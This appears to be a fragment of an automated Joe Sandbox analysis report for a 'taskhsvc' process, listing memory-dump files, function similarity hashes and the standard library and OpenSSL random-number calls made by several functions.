                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$_writeabort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1790930388-0
                                                                                                                          • Opcode ID: a831917ee407088d24c2dd2ca105358ab65efe4335d3dca0a80c8d6d5f18f98e
                                                                                                                          • Instruction ID: 271d35f2c478195394f05ea00307100c4a0ede67c22c3c21e012b4ed83204dde
                                                                                                                          • Opcode Fuzzy Hash: a831917ee407088d24c2dd2ca105358ab65efe4335d3dca0a80c8d6d5f18f98e
                                                                                                                          • Instruction Fuzzy Hash: 6731A0B4A0460A9FCF00EFA8D5806AEBBF1BF88314F518929E458B7345D734AD41CF66
                                                                                                                          Function 00D45C4C Relevance: 4.5, APIs: 3, Instructions: 47stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • strchr.MSVCRT ref: 00D45C82
                                                                                                                            • Part of subcall function 00D43938: free.MSVCRT ref: 00D43967
                                                                                                                            • Part of subcall function 00D43938: __stack_chk_fail.LIBSSP-0 ref: 00D439A8
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • strlen.MSVCRT ref: 00D45CC4
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D45CF3
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$freestrchrstrlen
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2652206642-0
                                                                                                                          • Opcode ID: fc30135c93619868d2262985ab6c82ad760e9fc685874f421f004806cf7b0393
                                                                                                                          • Instruction ID: 898c0ed934ecec78cf81b28912a99ed64c7da56e0ec16b61f1fcb871501620a7
                                                                                                                          • Opcode Fuzzy Hash: fc30135c93619868d2262985ab6c82ad760e9fc685874f421f004806cf7b0393
                                                                                                                          • Instruction Fuzzy Hash: 271163B4D057099FCB00EFA9C58569EBBF0FF48300F019819E898AB345D7789940CF62
                                                                                                                          Function 00BE4C42 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D5CC1C: RAND_poll.LIBEAY32 ref: 00D5CC3A
                                                                                                                            • Part of subcall function 00D5CC1C: RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CC9E
                                                                                                                            • Part of subcall function 00D5CC1C: RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CCCA
                                                                                                                            • Part of subcall function 00D5CC1C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D55F8E), ref: 00D5CCEB
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE4C9B
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$D_pollD_seedD_status
                                                                                                                          • String ID: D
                                                                                                                          • API String ID: 233213208-3280389146
                                                                                                                          • Opcode ID: 3901db87d8503ecd3a303e20d71c713b3e3ae35f7ad9b1eda77a648e77bba7aa
                                                                                                                          • Instruction ID: f177d2362defe929540389d9853d41b8e5972ede79a2fd024a4d0ba6a9f1171b
                                                                                                                          • Opcode Fuzzy Hash: 3901db87d8503ecd3a303e20d71c713b3e3ae35f7ad9b1eda77a648e77bba7aa
                                                                                                                          • Instruction Fuzzy Hash: 61F01C70A04348AFCF00EF6AD54169EBBF1EB48354F10D859E988EB301D374E9458F95
                                                                                                                          Function 00BE776B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE77A4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
